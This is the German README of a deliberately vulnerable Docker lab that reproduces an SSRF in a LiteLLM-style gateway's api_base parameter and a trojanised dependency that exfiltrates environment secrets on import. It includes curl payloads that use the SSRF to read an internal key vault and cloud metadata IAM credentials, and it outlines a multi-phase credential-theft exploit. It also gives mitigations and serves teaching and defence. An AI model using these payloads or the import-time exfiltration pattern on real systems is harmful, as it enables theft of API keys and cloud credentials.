
Bewusst verwundbares Docker-Lab zur Reproduktion von CVE-2026-33634: LiteLLM-Gateway-SSRF über api_base plus eine trojanisierte Abhängigkeit, mit einem mehrphasigen Exploit zum Diebstahl von Anmeldedaten.
api_base (PoC / Lab)⚠️ Absichtlich verwundbares Labor, für Bildungs- und autorisierte Zwecke. Betreibe es nur auf deiner Maschine, gegen die Container dieses Repositories. Lies SECURITY-NOTES.md, bevor du beginnst.
🚫 Betreibe dieses Lab NIEMALS auf einer Cloud-VM oder einer gemeinsam genutzten Maschine. Das Gateway hat absichtlich uneingeschränktes SSRF: Wenn ein echtes IMDS (
169.254.169.254) oder sensible Dienste im Loopback/LAN vorhanden sind, erreicht das SSRF sie tatsächlich. Die Ports werden nur auf127.0.0.1veröffentlicht; halte das so. Verwende einen isolierten/wegwerfbaren Host.
CVSS 9.4 (kritisch). Supply-Chain-Kompromittierung des LiteLLM-Gateways
(März/2026): Eine bösartige Abhängigkeit in einer Gateway-Bibliothek hat das
gesamte Portfolio an KI-Anbieter-Anmeldedaten offengelegt. Das wiederkehrende
Muster dieser Schicht tritt gemeinsam auf: OpenAI-Schlüssel im Proxy und
SSRF im Parameter api_base. Dieses Lab reproduziert beide Schwachstellen
und verkettet sie zu einem Exploit.
litellm-telemetry-helper (in malicious-dep/) simuliert die
kompromittierte transitive Abhängigkeit. In der Erzählung des Vorfalls hätte ein
schwacher Pin (>=0.9.6) den Resolver dazu gebracht, die bösartige Version
0.9.7 anstelle der sauberen 0.9.6 zu ziehen. Die Payload wird beim
import ausgelöst (es genügt, dass das Gateway die Abhängigkeit auflöst) und
exfiltriert in einem Hintergrund-Thread die gesamte Umgebung
(OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_*, ...) an einen Collector des
Angreifers — still und leise, ohne die Anwendung zu unterbrechen.
api_baseDer Proxy (gateway/app.py) akzeptiert api_base (die
base_url des Anbieters) vom Aufrufer, ohne Allowlist. Der Angreifer
kontrolliert, wohin das Gateway Anfragen stellt, und das Gateway:
Authorization an, undDamit lässt sich: interne Dienste erreichen (/admin/keys),
Cloud-Anmeldedaten im IMDS stehlen (169.254.169.254), das interne Netz
port-scannen und der Schlüssel jedes Anbieters leaken, indem man
api_base zurück zum Angreifer zeigt.
HOST (du / Angreifer)
exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
▲ │
└───────────GET /loot (localhost:8080)──┐ │
│ ▼
┌───────────────────────── Docker-Netz "labnet" ───┼───────────────────┐
│ │ │
│ collector (attacker.lab:8080) ◄─ Beacon Supply-Chain ── gateway │
│ • /beacon (Exfil der bösartigen Dep) │ (litellm │
│ • /collect (geleakter Schlüssel via SSRF) │ :4000) │
│ • /oob (Bestätigung Blind-SSRF) │ │ SSRF │
│ • /loot ┘ │ (api_base)│
│ ▼ │
│ internal.lab:9000 /admin/keys (NICHT veröffentlicht) ◄─┤ │
│ imds.lab:80 /latest/... (NICHT veröffentlicht) ◄─┤ │
│ provider-mock.lab:9100 (Upstream "normal") ◄────────┘ │
└──────────────────────────────────────────────────────────────────────┘
internal.lab und imds.lab haben keinen veröffentlichten Port — nur das
SSRF des Gateways erreicht sie. Genau das ist der Sinn des Labs.
Voraussetzungen: Docker + Docker Compose v2 sowie Python 3.9+ mit httpx für den Exploit.
cd CVE-2026-33634
# 1) startet das Lab (Gateway :4000, Collector :8080)
docker compose up -d --build # oder: make up
# 2) installiert die Anforderung des Exploits
python3 -m pip install -r exploit/requirements.txt
# 3) führt den vollständigen Exploit aus
python3 exploit/exploit.py # oder: make exploit
Einzelne Phasen ausführen:
python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal # stiehlt nur den internen Tresor
python3 exploit/exploit.py --only cloud # stiehlt nur Cloud-Anmeldedaten
python3 exploit/exploit.py --only keyleak # leakt nur die Anbieter-Schlüssel
python3 exploit/exploit.py --only supplychain # prüft nur den Beacon der Dep
Der vollständige Loot wird in loot.json gespeichert. Verfolge, wie der Angreifer die Daten empfängt:
docker compose logs -f collector # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool
# beliebiges Lesen: interner Tresor via SSRF
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
| python3 -m json.tool
# Cloud-Anmeldedaten via SSRF zum IMDS
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'
Dieses Lab priorisiert didaktische Klarheit und Reproduzierbarkeit. Wo es den realen Vorfall abstrahiert, geschieht das absichtlich — und es lohnt sich, die Unterschiede zu kennen:
import litellm_telemetry_helper explizit, statt dass das Paket eine
versteckte transitive Abhängigkeit im Baum des echten litellm ist. Der
Effekt (Payload beim Import) ist identisch; die Auflösungskette wurde
verkürzt.>=0.9.6 ist
die Erzählung (auskommentierte Zeile in gateway/requirements.txt); im Lab
wird die Dep aus ./malicious-dep via Dockerfile installiert — es gibt keinen
PyPI-Index, der 0.9.7 über 0.9.6 auflöst. Um die Auflösung wirklich zu
üben, starte einen lokalen Index (pypiserver/devpi) mit beiden Versionen.api_base verwendet das Lab die URL
wörtlich, wenn ein expliziter Pfad vorhanden ist (um das Lesen von
/admin/keys und des IMDS in einem einzigen Parameter zu demonstrieren). Auf
dem OpenAI-kompatiblen Pfad konkateniert das echte LiteLLM ein festes Suffix
(/chat/completions) und macht POST — die Kontrolle liegt meist beim
(geleakter Schlüssel, SSRF per Host), und der beliebige Pfad erscheint in
/Health-Routen. Der demonstrierte Impact (Leak des Portfolios +
interner/Cloud-Pivot) ist originalgetreu; die exakte Konstruktion der URL ist
vereinfacht.SSRF (api_base)
169.254.0.0/16 (IMDS);
löse das DNS auf und validiere die IP vor dem Verbinden (Vorsicht vor
Rebinding).hop-limit=1 auf dem Cloud-Host.Supply Chain
--require-hashes, Lockfile); kein >=.pip install als Codeausführung (Install-Hooks); nutze Sandbox/isoliertes CI.Anmeldedaten/Secret (Baseline)
CVE-2026-33634/
├── docker-compose.yml # orchestriert alles im Netz labnet
├── Makefile # up / down / logs / exploit
├── gateway/ # VERWUNDBARER LiteLLM-Style-Proxy (SSRF + Import der Dep)
├── malicious-dep/ # die trojanisierte Abhängigkeit (Payload beim Import)
├── collector/ # Collector des Angreifers (/beacon /collect /oob /loot)
├── internal-service/ # internes /admin/keys (nur via SSRF)
├── imds/ # Mock des Cloud-Metadata-Service (nur via SSRF)
├── provider-mock/ # "normaler" Upstream (Kontrast)
├── exploit/exploit.py # Multi-Phasen-Exploit (async)
├── SECURITY-NOTES.md # beabsichtigte Schwachstellen, Eindämmung und Autorisierung
└── README.md
| Phase | Technik |
|---|
recon | Fingerprint des Gateways; zählt Modelle/Anbieter auf; erkennt den Sink api_base. |
ssrf | Bestätigt das SSRF blind (out-of-band): erzwingt einen Callback mit eindeutigem Token an den Collector. |
scan | Port-Scan des internen Netzes durch das Gateway (nebenläufig). |
internal | SSRF → internal.lab/admin/keys: exfiltriert den gesamten Tresor an Anmeldedaten. |
cloud | SSRF → IMDS: stiehlt temporäre STS-Anmeldedaten der Instanz-Rolle. |
keyleak | Zeigt api_base auf den Angreifer; das Gateway leakt den Schlüssel jedes Anbieters im Authorization. |
supplychain | Liest den Loot: Die trojanisierte Dep hat die Umgebung bereits beim Import exfiltriert. |
report | Fasst den Impact zusammen und schreibt loot.json. |